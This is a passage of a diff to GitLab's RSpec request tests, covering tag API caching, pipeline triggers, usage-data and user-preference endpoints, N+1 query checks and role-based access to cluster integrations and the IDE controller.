+ expect(json_response.map { |r| r['name'] }).to include(tag_name)
+ end
+
+ context 'when repository is disabled' do
+ include_context 'disabled repository'
+
+ it_behaves_like '403 response' do
+ let(:request) { get api(route, current_user) }
+ end
+ end
end
- context 'when repository is disabled' do
- include_context 'disabled repository'
+ context 'when unauthenticated', 'and project is public' do
+ let(:project) { create(:project, :public, :repository) }
- it_behaves_like '403 response' do
- let(:request) { get api(route, current_user) }
+ it_behaves_like 'repository tags'
+ end
+
+ context 'when unauthenticated', 'and project is private' do
+ it_behaves_like '404 response' do
+ let(:request) { get api(route) }
+ let(:message) { '404 Project Not Found' }
end
end
- end
- context 'when unauthenticated', 'and project is public' do
- let(:project) { create(:project, :public, :repository) }
+ context 'when authenticated', 'as a maintainer' do
+ let(:current_user) { user }
- it_behaves_like 'repository tags'
- end
+ it_behaves_like 'repository tags'
- context 'when unauthenticated', 'and project is private' do
- it_behaves_like '404 response' do
- let(:request) { get api(route) }
- let(:message) { '404 Project Not Found' }
+ context 'requesting with the escaped project full path' do
+ let(:project_id) { CGI.escape(project.full_path) }
+
+ it_behaves_like 'repository tags'
+ end
end
- end
- context 'when authenticated', 'as a maintainer' do
- let(:current_user) { user }
+ context 'when authenticated', 'as a guest' do
+ it_behaves_like '403 response' do
+ let(:request) { get api(route, guest) }
+ end
+ end
- it_behaves_like 'repository tags'
+ context 'with releases' do
+ let(:description) { 'Awesome release!' }
- context 'requesting with the escaped project full path' do
- let(:project_id) { CGI.escape(project.full_path) }
+ let!(:release) do
+ create(:release,
+ :legacy,
+ project: project,
+ tag: tag_name,
+ description: description)
+ end
- it_behaves_like 'repository tags'
+ it 'returns an array of project tags with release info' do
+ get api(route, user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to match_response_schema('public_api/v4/tags')
+ expect(response).to include_pagination_headers
+
+ expected_tag = json_response.find { |r| r['name'] == tag_name }
+ expect(expected_tag['message']).to eq(tag_message)
+ expect(expected_tag['release']['description']).to eq(description)
+ end
end
end
- context 'when authenticated', 'as a guest' do
- it_behaves_like '403 response' do
- let(:request) { get api(route, guest) }
+ context ":api_caching_tags flag enabled", :use_clean_rails_memory_store_caching do
+ before do
+ stub_feature_flags(api_caching_tags: true)
end
- end
- context 'with releases' do
- let(:description) { 'Awesome release!' }
+ it_behaves_like "get repository tags"
- let!(:release) do
- create(:release,
- :legacy,
- project: project,
- tag: tag_name,
- description: description)
- end
+ describe "cache expiry" do
+ let(:route) { "/projects/#{project_id}/repository/tags" }
+ let(:current_user) { user }
- it 'returns an array of project tags with release info' do
- get api(route, user)
+ before do
+ # Set the cache
+ get api(route, current_user)
+ end
- expect(response).to have_gitlab_http_status(:ok)
- expect(response).to match_response_schema('public_api/v4/tags')
- expect(response).to include_pagination_headers
+ it "is cached" do
+ expect(API::Entities::Tag).not_to receive(:represent)
+
+ get api(route, current_user)
+ end
+
+ shared_examples "cache expired" do
+ it "isn't cached" do
+ expect(API::Entities::Tag).to receive(:represent).exactly(3).times
+
+ get api(route, current_user)
+ end
+ end
+
+ context "when protected tag is changed" do
+ before do
+ create(:protected_tag, name: tag_name, project: project)
+ end
+
+ it_behaves_like "cache expired"
+ end
- expected_tag = json_response.find { |r| r['name'] == tag_name }
- expect(expected_tag['message']).to eq(tag_message)
- expect(expected_tag['release']['description']).to eq(description)
+ context "when release is changed" do
+ before do
+ create(:release, :legacy, project: project, tag: tag_name)
+ end
+
+ it_behaves_like "cache expired"
+ end
+
+ context "when project is changed" do
+ before do
+ project.touch
+ end
+
+ it_behaves_like "cache expired"
+ end
end
end
+
+ context ":api_caching_tags flag disabled" do
+ before do
+ stub_feature_flags(api_caching_tags: false)
+ end
+
+ it_behaves_like "get repository tags"
+ end
end
describe 'GET /projects/:id/repository/tags/:tag_name' do
diff --git a/spec/requests/api/triggers_spec.rb b/spec/requests/api/triggers_spec.rb
index 55d17fabc9a..4318f106996 100644
--- a/spec/requests/api/triggers_spec.rb
+++ b/spec/requests/api/triggers_spec.rb
@@ -49,8 +49,6 @@ RSpec.describe API::Triggers do
expect(response).to have_gitlab_http_status(:created)
expect(json_response).to include('id' => pipeline.id)
- pipeline.builds.reload
- expect(pipeline.builds.pending.size).to eq(2)
expect(pipeline.builds.size).to eq(5)
end
@@ -126,6 +124,39 @@ RSpec.describe API::Triggers do
end
end
+ describe 'adding arguments to the application context' do
+ subject { subject_proc.call }
+
+ let(:expected_params) { { client_id: "user/#{user.id}", project: project.full_path } }
+ let(:subject_proc) { proc { post api("/projects/#{project.id}/ref/master/trigger/pipeline?token=#{trigger_token}"), params: { ref: 'refs/heads/other-branch' } } }
+
+ context 'when triggering a pipeline from a trigger token' do
+ it_behaves_like 'storing arguments in the application context'
+ it_behaves_like 'not executing any extra queries for the application context'
+ end
+
+ context 'when triggered from another running job' do
+ let!(:trigger) { }
+ let!(:trigger_request) { }
+
+ context 'when other job is triggered by a user' do
+ let(:trigger_token) { create(:ci_build, :running, project: project, user: user).token }
+
+ it_behaves_like 'storing arguments in the application context'
+ it_behaves_like 'not executing any extra queries for the application context'
+ end
+
+ context 'when other job is triggered by a runner' do
+ let(:trigger_token) { create(:ci_build, :running, project: project, runner: runner).token }
+ let(:runner) { create(:ci_runner) }
+ let(:expected_params) { { client_id: "runner/#{runner.id}", project: project.full_path } }
+
+ it_behaves_like 'storing arguments in the application context'
+ it_behaves_like 'not executing any extra queries for the application context', 1
+ end
+ end
+ end
+
context 'when is triggered by a pipeline hook' do
it 'does not create a new pipeline' do
expect do
diff --git a/spec/requests/api/usage_data_non_sql_metrics_spec.rb b/spec/requests/api/usage_data_non_sql_metrics_spec.rb
new file mode 100644
index 00000000000..225af57a267
--- /dev/null
+++ b/spec/requests/api/usage_data_non_sql_metrics_spec.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::UsageDataNonSqlMetrics do
+ include UsageDataHelpers
+
+ let_it_be(:admin) { create(:user, admin: true) }
+ let_it_be(:user) { create(:user) }
+
+ before do
+ stub_usage_data_connections
+ end
+
+ describe 'GET /usage_data/non_sql_metrics' do
+ let(:endpoint) { '/usage_data/non_sql_metrics' }
+
+ context 'with authentication' do
+ before do
+ stub_feature_flags(usage_data_non_sql_metrics: true)
+ end
+
+ it 'returns non sql metrics if user is admin' do
+ get api(endpoint, admin)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response['counts']).to be_a(Hash)
+ end
+
+ it 'returns forbidden if user is not admin' do
+ get api(endpoint, user)
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+
+ context 'without authentication' do
+ before do
+ stub_feature_flags(usage_data_non_sql_metrics: true)
+ end
+
+ it 'returns unauthorized' do
+ get api(endpoint)
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+
+ context 'when feature_flag is disabled' do
+ before do
+ stub_feature_flags(usage_data_non_sql_metrics: false)
+ end
+
+ it 'returns not_found for admin' do
+ get api(endpoint, admin)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+
+ it 'returns forbidden for non-admin' do
+ get api(endpoint, user)
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+ end
+end
diff --git a/spec/requests/api/usage_data_queries_spec.rb b/spec/requests/api/usage_data_queries_spec.rb
new file mode 100644
index 00000000000..0ba4a37bc9b
--- /dev/null
+++ b/spec/requests/api/usage_data_queries_spec.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::UsageDataQueries do
+ include UsageDataHelpers
+
+ let_it_be(:admin) { create(:user, admin: true) }
+ let_it_be(:user) { create(:user) }
+
+ before do
+ stub_usage_data_connections
+ end
+
+ describe 'GET /usage_data/usage_data_queries' do
+ let(:endpoint) { '/usage_data/queries' }
+
+ context 'with authentication' do
+ before do
+ stub_feature_flags(usage_data_queries_api: true)
+ end
+
+ it 'returns queries if user is admin' do
+ get api(endpoint, admin)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response['active_user_count']).to start_with('SELECT COUNT("users"."id") FROM "users"')
+ end
+
+ it 'returns forbidden if user is not admin' do
+ get api(endpoint, user)
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+
+ context 'without authentication' do
+ before do
+ stub_feature_flags(usage_data_queries_api: true)
+ end
+
+ it 'returns unauthorized' do
+ get api(endpoint)
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+
+ context 'when feature_flag is disabled' do
+ before do
+ stub_feature_flags(usage_data_queries_api: false)
+ end
+
+ it 'returns not_found for admin' do
+ get api(endpoint, admin)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+
+ it 'returns forbidden for non-admin' do
+ get api(endpoint, user)
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+ end
+end
diff --git a/spec/requests/api/usage_data_spec.rb b/spec/requests/api/usage_data_spec.rb
index d44f179eed8..bacaf960e6a 100644
--- a/spec/requests/api/usage_data_spec.rb
+++ b/spec/requests/api/usage_data_spec.rb
@@ -161,4 +161,23 @@ RSpec.describe API::UsageData do
end
end
end
+
+ describe 'GET /usage_data/metric_definitions' do
+ let(:endpoint) { '/usage_data/metric_definitions' }
+ let(:metric_yaml) do
+ { 'key_path' => 'counter.category.event', 'description' => 'Metric description' }.to_yaml
+ end
+
+ context 'without authentication' do
+ it 'returns a YAML file', :aggregate_failures do
+ allow(Gitlab::Usage::MetricDefinition).to receive(:dump_metrics_yaml).and_return(metric_yaml)
+
+ get api(endpoint)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.media_type).to eq('application/yaml')
+ expect(response.body).to eq(metric_yaml)
+ end
+ end
+ end
end
diff --git a/spec/requests/api/users_preferences_spec.rb b/spec/requests/api/users_preferences_spec.rb
new file mode 100644
index 00000000000..db03786ed2a
--- /dev/null
+++ b/spec/requests/api/users_preferences_spec.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::Users do
+ let_it_be(:user) { create(:user) }
+
+ describe 'PUT /user/preferences/' do
+ context "with correct attributes and a logged in user" do
+ it 'returns a success status and the value has been changed' do
+ put api("/user/preferences", user), params: { view_diffs_file_by_file: true }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response['view_diffs_file_by_file']).to eq(true)
+ expect(user.reload.view_diffs_file_by_file).to be_truthy
+ end
+ end
+
+ context "missing a preference" do
+ it 'returns a bad request status' do
+ put api("/user/preferences", user), params: {}
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
+ end
+
+ context "without a logged in user" do
+ it 'returns an unauthorized status' do
+ put api("/user/preferences"), params: { view_diffs_file_by_file: true }
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+
+ context "with an unsupported preference" do
+ it 'returns a bad parameter' do
+ put api("/user/preferences", user), params: { jawn: true }
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
+ end
+
+ context "with an unsupported value" do
+ it 'returns a bad parameter' do
+ put api("/user/preferences", user), params: { view_diffs_file_by_file: 3 }
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
+ end
+
+ context "with an update service failure" do
+ it 'returns a bad request' do
+ bad_service = double("Failed Service", success?: false)
+
+ allow_next_instance_of(::UserPreferences::UpdateService) do |instance|
+ allow(instance).to receive(:execute).and_return(bad_service)
+ end
+
+ put api("/user/preferences", user), params: { view_diffs_file_by_file: true }
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
+ end
+ end
+end
diff --git a/spec/requests/api/users_spec.rb b/spec/requests/api/users_spec.rb
index 2a7689eaddf..01a24be9f20 100644
--- a/spec/requests/api/users_spec.rb
+++ b/spec/requests/api/users_spec.rb
@@ -928,7 +928,8 @@ RSpec.describe API::Users do
end
it "creates user with random password" do
- params = attributes_for(:user, force_random_password: true, reset_password: true)
+ params = attributes_for(:user, force_random_password: true)
+ params.delete(:password)
post api('/users', admin), params: params
expect(response).to have_gitlab_http_status(:created)
@@ -936,8 +937,7 @@ RSpec.describe API::Users do
user_id = json_response['id']
new_user = User.find(user_id)
- expect(new_user.valid_password?(params[:password])).to eq(false)
- expect(new_user.recently_sent_password_reset?).to eq(true)
+ expect(new_user.encrypted_password).to be_present
end
it "creates user with private profile" do
@@ -1795,8 +1795,7 @@ RSpec.describe API::Users do
post api("/users/#{user.id}/emails", admin), params: email_attrs
end.to change { user.emails.count }.by(1)
- email = Email.find_by(user_id: user.id, email: email_attrs[:email])
- expect(email).not_to be_confirmed
+ expect(json_response['confirmed_at']).to be_nil
end
it "returns a 400 for invalid ID" do
@@ -1813,8 +1812,7 @@ RSpec.describe API::Users do
expect(response).to have_gitlab_http_status(:created)
- email = Email.find_by(user_id: user.id, email: email_attrs[:email])
- expect(email).to be_confirmed
+ expect(json_response['confirmed_at']).not_to be_nil
end
end
diff --git a/spec/requests/api/v3/github_spec.rb b/spec/requests/api/v3/github_spec.rb
index 197c6cbb0eb..4100b246218 100644
--- a/spec/requests/api/v3/github_spec.rb
+++ b/spec/requests/api/v3/github_spec.rb
@@ -3,10 +3,10 @@
require 'spec_helper'
RSpec.describe API::V3::Github do
- let(:user) { create(:user) }
- let(:unauthorized_user) { create(:user) }
- let(:admin) { create(:user, :admin) }
- let(:project) { create(:project, :repository, creator: user) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:unauthorized_user) { create(:user) }
+ let_it_be(:admin) { create(:user, :admin) }
+ let_it_be(:project) { create(:project, :repository, creator: user) }
before do
project.add_maintainer(user)
@@ -210,14 +210,14 @@ RSpec.describe API::V3::Github do
end
describe 'repo pulls' do
- let(:project2) { create(:project, :repository, creator: user) }
- let(:assignee) { create(:user) }
- let(:assignee2) { create(:user) }
- let!(:merge_request) do
+ let_it_be(:project2) { create(:project, :repository, creator: user) }
+ let_it_be(:assignee) { create(:user) }
+ let_it_be(:assignee2) { create(:user) }
+ let_it_be(:merge_request) do
create(:merge_request, source_project: project, target_project: project, author: user, assignees: [assignee])
end
- let!(:merge_request_2) do
+ let_it_be(:merge_request_2) do
create(:merge_request, source_project: project2, target_project: project2, author: user, assignees: [assignee, assignee2])
end
@@ -225,26 +225,57 @@ RSpec.describe API::V3::Github do
project2.add_maintainer(user)
end
+ def perform_request
+ jira_get v3_api(route, user)
+ end
+
describe 'GET /-/jira/pulls' do
+ let(:route) { '/repos/-/jira/pulls' }
+
it 'returns an array of merge requests with github format' do
- jira_get v3_api('/repos/-/jira/pulls', user)
+ perform_request
expect(response).to have_gitlab_http_status(:ok)
expect(json_response).to be_an(Array)
expect(json_response.size).to eq(2)
expect(response).to match_response_schema('entities/github/pull_requests')
end
+
+ it 'returns multiple merge requests without N + 1' do
+ perform_request
+
+ control_count = ActiveRecord::QueryRecorder.new { perform_request }.count
+
+ project3 = create(:project, :repository, creator: user)
+ project3.add_maintainer(user)
+ assignee3 = create(:user)
+ create(:merge_request, source_project: project3, target_project: project3, author: user, assignees: [assignee3])
+
+ expect { perform_request }.not_to exceed_query_limit(control_count)
+ end
end
describe 'GET /repos/:namespace/:project/pulls' do
+ let(:route) { "/repos/#{project.namespace.path}/#{project.path}/pulls" }
+
it 'returns an array of merge requests for the proper project in github format' do
- jira_get v3_api("/repos/#{project.namespace.path}/#{project.path}/pulls", user)
+ perform_request
expect(response).to have_gitlab_http_status(:ok)
expect(json_response).to be_an(Array)
expect(json_response.size).to eq(1)
expect(response).to match_response_schema('entities/github/pull_requests')
end
+
+ it 'returns multiple merge requests without N + 1' do
+ perform_request
+
+ control_count = ActiveRecord::QueryRecorder.new { perform_request }.count
+
+ create(:merge_request, source_project: project, source_branch: 'fix')
+
+ expect { perform_request }.not_to exceed_query_limit(control_count)
+ end
end
describe 'GET /repos/:namespace/:project/pulls/:id' do
diff --git a/spec/requests/customers_dot/proxy_controller_spec.rb b/spec/requests/customers_dot/proxy_controller_spec.rb
new file mode 100644
index 00000000000..4938c67e0c3
--- /dev/null
+++ b/spec/requests/customers_dot/proxy_controller_spec.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe CustomersDot::ProxyController, type: :request do
+ describe 'POST graphql' do
+ let_it_be(:customers_dot) { "#{Gitlab::SubscriptionPortal::SUBSCRIPTIONS_URL}/graphql" }
+
+ it 'forwards request body to customers dot' do
+ request_params = '{ "foo" => "bar" }'
+
+ stub_request(:post, customers_dot)
+
+ post customers_dot_proxy_graphql_path, params: request_params
+
+ expect(WebMock).to have_requested(:post, customers_dot).with(body: request_params)
+ end
+
+ it 'responds with customers dot status' do
+ stub_request(:post, customers_dot).to_return(status: 500)
+
+ post customers_dot_proxy_graphql_path
+
+ expect(response).to have_gitlab_http_status(:internal_server_error)
+ end
+
+ it 'responds with customers dot response body' do
+ customers_dot_response = 'foo'
+
+ stub_request(:post, customers_dot).to_return(body: customers_dot_response)
+
+ post customers_dot_proxy_graphql_path
+
+ expect(response.body).to eq(customers_dot_response)
+ end
+ end
+end
diff --git a/spec/requests/groups/clusters/integrations_controller_spec.rb b/spec/requests/groups/clusters/integrations_controller_spec.rb
new file mode 100644
index 00000000000..29e37e2e48c
--- /dev/null
+++ b/spec/requests/groups/clusters/integrations_controller_spec.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Groups::Clusters::IntegrationsController do
+ include AccessMatchersForController
+
+ shared_examples 'a secure endpoint' do
+ it 'is allowed for admin when admin mode enabled', :enable_admin_mode do
+ expect { subject }.to be_allowed_for(:admin)
+ end
+
+ it 'is denied for admin when admin mode disabled' do
+ expect { subject }.to be_denied_for(:admin)
+ end
+
+ context 'it is allowed for group maintainers' do
+ it { expect { subject }.to be_allowed_for(:owner).of(group) }
+ it { expect { subject }.to be_allowed_for(:maintainer).of(group) }
+ it { expect { subject }.to be_denied_for(:developer).of(group) }
+ it { expect { subject }.to be_denied_for(:reporter).of(group) }
+ it { expect { subject }.to be_denied_for(:guest).of(group) }
+ it { expect { subject }.to be_denied_for(:user) }
+ it { expect { subject }.to be_denied_for(:external) }
+ end
+ end
+
+ describe 'POST create_or_update' do
+ let_it_be(:group) { create(:group) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:member) { create(:group_member, user: user, group: group) }
+
+ let(:cluster) { create(:cluster, :group, :provided_by_gcp, groups: [group]) }
+
+ it_behaves_like '#create_or_update action' do
+ let(:path) { create_or_update_group_cluster_integration_path(group, cluster) }
+ let(:redirect_path) { group_cluster_path(group, cluster, params: { tab: 'integrations' }) }
+ end
+ end
+end
diff --git a/spec/requests/groups/email_campaigns_controller_spec.rb b/spec/requests/groups/email_campaigns_controller_spec.rb
index 930e645f6c0..a77f600ea1e 100644
--- a/spec/requests/groups/email_campaigns_controller_spec.rb
+++ b/spec/requests/groups/email_campaigns_controller_spec.rb
@@ -13,19 +13,19 @@ RSpec.describe Groups::EmailCampaignsController do
let(:track) { 'create' }
let(:series) { '0' }
let(:schema) { described_class::EMAIL_CAMPAIGNS_SCHEMA_URL }
+ let(:subject_line_text) { subject_line(track.to_sym, series.to_i) }
let(:data) do
{
namespace_id: group.id,
track: track.to_sym,
series: series.to_i,
- subject_line: subject_line(track.to_sym, series.to_i)
+ subject_line: subject_line_text
}
end
before do
sign_in(user)
group.add_developer(user)
- allow(Gitlab::Tracking).to receive(:self_describing_event)
end
subject do
@@ -34,16 +34,59 @@ RSpec.describe Groups::EmailCampaignsController do
end
shared_examples 'track and redirect' do
- it do
- is_expected.to track_self_describing_event(schema, data)
- is_expected.to have_gitlab_http_status(:redirect)
+ it 'redirects' do
+ expect(subject).to have_gitlab_http_status(:redirect)
+ end
+
+ context 'on .com' do
+ before do
+ allow(Gitlab).to receive(:com?).and_return(true)
+ end
+
+ it 'emits a snowplow event', :snowplow do
+ subject
+
+ expect_snowplow_event(
+ category: described_class.name,
+ action: 'click',
+ context: [{
+ schema: described_class::EMAIL_CAMPAIGNS_SCHEMA_URL,
+ data: { namespace_id: group.id, series: series.to_i, subject_line: subject_line_text, track: track.to_s }
+ }]
+ )
+ end
+
+ it 'does not save the cta_click' do
+ expect(Users::InProductMarketingEmail).not_to receive(:save_cta_click)
+
+ subject
+ end
+ end
+
+ context 'when not on.com' do
+ it 'saves the cta_click' do
+ expect(Users::InProductMarketingEmail).to receive(:save_cta_click)
+
+ subject
+ end
+
+ it 'does not track snowplow events' do
+ subject
+
+ expect_no_snowplow_event
+ end
end
end
shared_examples 'no track and 404' do
- it do
- is_expected.not_to track_self_describing_event
- is_expected.to have_gitlab_http_status(:not_found)
+ it 'returns 404' do
+ expect(subject).to have_gitlab_http_status(:not_found)
+ end
+
+ it 'does not emit a snowplow event', :snowplow do
+ subject
+
+ expect_no_snowplow_event
end
end
diff --git a/spec/requests/groups/milestones_controller_spec.rb b/spec/requests/groups/milestones_controller_spec.rb
index 4afdde8be04..43f0fc714b3 100644
--- a/spec/requests/groups/milestones_controller_spec.rb
+++ b/spec/requests/groups/milestones_controller_spec.rb
@@ -4,8 +4,8 @@ require 'spec_helper'
RSpec.describe Groups::MilestonesController do
context 'N+1 DB queries' do
- let(:user) { create(:user) }
- let!(:public_group) { create(:group, :public) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:public_group) { create(:group, :public) }
let!(:public_project_with_private_issues_and_mrs) do
create(:project, :public, :issues_private, :merge_requests_private, group: public_group)
@@ -53,5 +53,25 @@ RSpec.describe Groups::MilestonesController do
expect { get show_path }.not_to exceed_all_query_limit(control)
end
end
+
+ describe 'GET #merge_requests' do
+ let(:milestone) { create(:milestone, group: public_group) }
+ let(:project) { create(:project, :public, :merge_requests_enabled, :issues_enabled, group: public_group) }
+ let!(:merge_request) { create(:merge_request, milestone: milestone, source_project: project) }
+
+ def perform_request
+ get merge_requests_group_milestone_path(public_group, milestone, format: :json)
+ end
+
+ it 'avoids N+1 database queries' do
+ perform_request # warm up the cache
+
+ control_count = ActiveRecord::QueryRecorder.new { perform_request }.count
+
+ create(:merge_request, milestone: milestone, source_project: project, source_branch: 'fix')
+
+ expect { perform_request }.not_to exceed_query_limit(control_count)
+ end
+ end
end
end
diff --git a/spec/requests/ide_controller_spec.rb b/spec/requests/ide_controller_spec.rb
index 4f127e07b6b..9b0d8dcd828 100644
--- a/spec/requests/ide_controller_spec.rb
+++ b/spec/requests/ide_controller_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe IdeController do
let_it_be(:other_user) { create(:user) }
let(:user) { creator }
+ let(:branch) { '' }
before do
sign_in(user)
@@ -28,24 +29,33 @@ RSpec.describe IdeController do
let(:user) { other_user }
context 'when user does not have fork' do
- it 'does not instantiate forked_project instance var and return 200' do
+ it 'instantiates fork_info instance var with fork_path and return 200' do
subject
expect(response).to have_gitlab_http_status(:ok)
expect(assigns(:project)).to eq project
- expect(assigns(:forked_project)).to be_nil
+ expect(assigns(:fork_info)).to eq({ fork_path: controller.helpers.ide_fork_and_edit_path(project, branch, '', with_notice: false) })
+ end
+
+ it 'has nil fork_info if user cannot fork' do
+ project.project_feature.update!(forking_access_level: ProjectFeature::DISABLED)
+
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(assigns(:fork_info)).to be_nil
end
end
- context 'when user has have fork' do
- let!(:fork) { fork_project(project, user, repository: true) }
+ context 'when user has fork' do
+ let!(:fork) { fork_project(project, user, repository: true, namespace: user.namespace) }
- it 'instantiates forked_project instance var and return 200' do
+ it 'instantiates fork_info instance var with ide_path and return 200' do
subject
expect(response).to have_gitlab_http_status(:ok)
expect(assigns(:project)).to eq project
- expect(assigns(:forked_project)).to eq fork
+ expect(assigns(:fork_info)).to eq({ ide_path: controller.helpers.ide_edit_path(fork, branch, '') })
end
end
end
@@ -61,7 +71,7 @@ RSpec.describe IdeController do
expect(assigns(:branch)).to be_nil
expect(assigns(:path)).to be_nil
expect(assigns(:merge_request)).to be_nil
- expect(assigns(:forked_project)).to be_nil
+ expect(assigns(:fork_info)).to be_nil
end
end
@@ -76,7 +86,7 @@ RSpec.describe IdeController do
expect(assigns(:branch)).to be_nil
expect(assigns(:path)).to be_nil
expect(assigns(:merge_request)).to be_nil
- expect(assigns(:forked_project)).to be_nil
+ expect(assigns(:fork_info)).to be_nil
end
end
@@ -91,7 +101,7 @@ RSpec.describe IdeController do
expect(assigns(:branch)).to be_nil
expect(assigns(:path)).to be_nil
expect(assigns(:merge_request)).to be_nil
- expect(assigns(:forked_project)).to be_nil
+ expect(assigns(:fork_info)).to be_nil
end
it_behaves_like 'user cannot push code'
@@ -108,55 +118,58 @@ RSpec.describe IdeController do
expect(assigns(:branch)).to be_nil
expect(assigns(:path)).to be_nil
expect(assigns(:merge_request)).to be_nil
- expect(assigns(:forked_project)).to be_nil
+ expect(assigns(:fork_info)).to be_nil
end
it_behaves_like 'user cannot push code'
context "/-/ide/project/:project/#{action}/:branch" do
- let(:route) { "/-/ide/project/#{project.full_path}/#{action}/master" }
+ let(:branch) { 'master' }
+ let(:route) { "/-/ide/project/#{project.full_path}/#{action}/#{branch}" }
it 'instantiates project and branch instance vars and return 200' do
subject
expect(response).to have_gitlab_http_status(:ok)
expect(assigns(:project)).to eq project
- expect(assigns(:branch)).to eq 'master'
+ expect(assigns(:branch)).to eq branch
expect(assigns(:path)).to be_nil
expect(assigns(:merge_request)).to be_nil
- expect(assigns(:forked_project)).to be_nil
+ expect(assigns(:fork_info)).to be_nil
end
it_behaves_like 'user cannot push code'
context "/-/ide/project/:project/#{action}/:branch/-" do
- let(:route) { "/-/ide/project/#{project.full_path}/#{action}/branch/slash/-" }
+ let(:branch) { 'branch/slash' }
+ let(:route) { "/-/ide/project/#{project.full_path}/#{action}/#{branch}/-" }
it 'instantiates project and branch instance vars and return 200' do
subject
expect(response).to have_gitlab_http_status(:ok)
expect(assigns(:project)).to eq project
- expect(assigns(:branch)).to eq 'branch/slash'
+ expect(assigns(:branch)).to eq branch
expect(assigns(:path)).to be_nil
expect(assigns(:merge_request)).to be_nil
- expect(assigns(:forked_project)).to be_nil
+ expect(assigns(:fork_info)).to be_nil
end
it_behaves_like 'user cannot push code'
context "/-/ide/project/:project/#{action}/:branch/-/:path" do
- let(:route) { "/-/ide/project/#{project.full_path}/#{action}/master/-/foo/.bar" }
+ let(:branch) { 'master' }
+ let(:route) { "/-/ide/project/#{project.full_path}/#{action}/#{branch}/-/foo/.bar" }
it 'instantiates project, branch, and path instance vars and return 200' do
subject
expect(response).to have_gitlab_http_status(:ok)
expect(assigns(:project)).to eq project
- expect(assigns(:branch)).to eq 'master'
+ expect(assigns(:branch)).to eq branch
expect(assigns(:path)).to eq 'foo/.bar'
expect(assigns(:merge_request)).to be_nil
- expect(assigns(:forked_project)).to be_nil
+ expect(assigns(:fork_info)).to be_nil
end
it_behaves_like 'user cannot push code'
@@ -179,7 +192,7 @@ RSpec.describe IdeController do
expect(assigns(:branch)).to be_nil
expect(assigns(:path)).to be_nil
expect(assigns(:merge_request)).to eq merge_request.id.to_s
- expect(assigns(:forked_project)).to be_nil
+ expect(assigns(:fork_info)).to be_nil
end
it_behaves_like 'user cannot push code'
diff --git a/spec/requests/jwt_controller_spec.rb b/spec/requests/jwt_controller_spec.rb
index e154e691d5f..8be26784a3d 100644
--- a/spec/requests/jwt_controller_spec.rb
+++ b/spec/requests/jwt_controller_spec.rb
@@ -180,10 +180,11 @@ RSpec.describe JwtController do
end
context 'when internal auth is disabled' do
+ before do
+ stub_application_setting(password_authentication_enabled_for_git: false)
+ end
+
it 'rejects the authorization attempt with personal access token message' do
- allow_next_instance_of(ApplicationSetting) do |instance|
- allow(instance).to receive(:password_authentication_enabled_for_git?) { false }
- end
get '/jwt/auth', params: parameters, headers: headers
expect(response).to have_gitlab_http_status(:unauthorized)
diff --git a/spec/requests/projects/clusters/integrations_controller_spec.rb b/spec/requests/projects/clusters/integrations_controller_spec.rb
new file mode 100644
index 00000000000..323c61b9af3
--- /dev/null
+++ b/spec/requests/projects/clusters/integrations_controller_spec.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Projects::Clusters::IntegrationsController do
+ include AccessMatchersForController
+
+ shared_examples 'a secure endpoint' do
+ it 'is allowed for admin when admin mode enabled', :enable_admin_mode do
+ expect { subject }.to be_allowed_for(:admin)
+ end
+
+ it 'is denied for admin when admin mode disabled' do
+ expect { subject }.to be_denied_for(:admin)
+ end
+
+ context 'it is allowed for project maintainers' do
+ it { expect { subject }.to be_allowed_for(:owner).of(project) }
+ it { expect { subject }.to be_allowed_for(:maintainer).of(project) }
+ it { expect { subject }.to be_denied_for(:developer).of(project) }
+ it { expect { subject }.to be_denied_for(:reporter).of(project) }
+ it { expect { subject }.to be_denied_for(:guest).of(project) }
+ it { expect { subject }.to be_denied_for(:user) }
+ it { expect { subject }.to be_denied_for(:external) }
+ end
+ end
+
+ describe 'POST create_or_update' do
+ let(:cluster) { create(:cluster, :project, :provided_by_gcp) }
+ let(:project) { cluster.project }
+ let(:user) { project.owner }
+
+ it_behaves_like '#create_or_update action' do
+ let(:path) { create_or_update_project_cluster_integration_path(project, cluster) }
+ let(:redirect_path) { project_cluster_path(project, cluster, params: { tab: 'integrations' }) }
+ end
+ end
+end
diff --git a/spec/requests/projects/cycle_analytics_events_spec.rb b/spec/requests/projects/cycle_analytics_events_spec.rb
index 565576f3091..7921fdcb0de 100644
--- a/spec/requests/projects/cycle_analytics_events_spec.rb
+++ b/spec/requests/projects/cycle_analytics_events_spec.rb
@@ -75,7 +75,7 @@ RSpec.describe 'value stream analytics events' do
context 'with private project and builds' do
before do
- project.members.last.update(access_level: Gitlab::Access::GUEST)
